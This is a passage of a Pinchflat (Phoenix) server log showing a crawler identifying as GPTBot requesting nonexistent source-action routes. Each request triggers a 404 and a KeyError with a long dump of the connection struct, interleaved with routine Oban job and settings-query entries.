{Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263899.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41512}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263899.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41512}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263900.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, (truncated) 02:29:00.758 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:01.532 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:31.534 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:42.894 [info] GET /sources/5/sync_files_on_disk 02:29:42.895 [debug] QUERY OK source="settings" db=0.3ms idle=449.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:42.896 [debug] QUERY OK source="settings" db=0.3ms idle=250.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:29:42.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:29:42.897 [error] #PID<0.263908.0> running PinchflatWeb.Endpoint (connection #PID<0.263907.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43120}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263908.0>, params: %{}, path_info: ["sources", "5", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEK9om4NQQzJ6YAMXhC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43120}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43120}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263908.0>, params: %{}, path_info: ["sources", "5", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", (truncated) 02:30:00.759 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:01.536 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:31.538 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:48.638 [info] GET /sources/4/sync_files_on_disk 02:30:48.639 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1993.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:48.639 [debug] QUERY OK source="settings" db=0.3ms idle=1994.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:48.639 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:48.640 [error] #PID<0.263916.0> running PinchflatWeb.Endpoint (connection #PID<0.263915.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49672}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263916.0>, params: %{}, path_info: ["sources", "4", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELBdhVfDTp9EgAMXkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49672}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49672}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263916.0>, params: %{}, path_info: ["sources", "4", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", (truncated) 02:31:00.760 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:01.540 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:31.542 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:53.009 [info] GET /sources/1/sync_files_on_disk 02:31:53.010 [debug] QUERY OK source="settings" db=0.2ms idle=365.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:31:53.010 [debug] QUERY OK source="settings" db=0.1ms idle=365.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:31:53.011 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:31:53.011 [error] #PID<0.263923.0> running PinchflatWeb.Endpoint (connection #PID<0.263922.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49346}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263923.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELFNUsxtY6EJEAMXnC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49346}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49346}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263923.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", (truncated) 02:32:00.761 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:01.544 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:31.546 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:57.935 [info] GET /sources/4/force_redownload 02:32:57.936 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1290.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:32:57.937 [debug] QUERY OK source="settings" db=0.2ms idle=1291.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:32:57.937 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:32:57.937 [error] #PID<0.263931.0> running PinchflatWeb.Endpoint (connection #PID<0.263930.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49540}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", 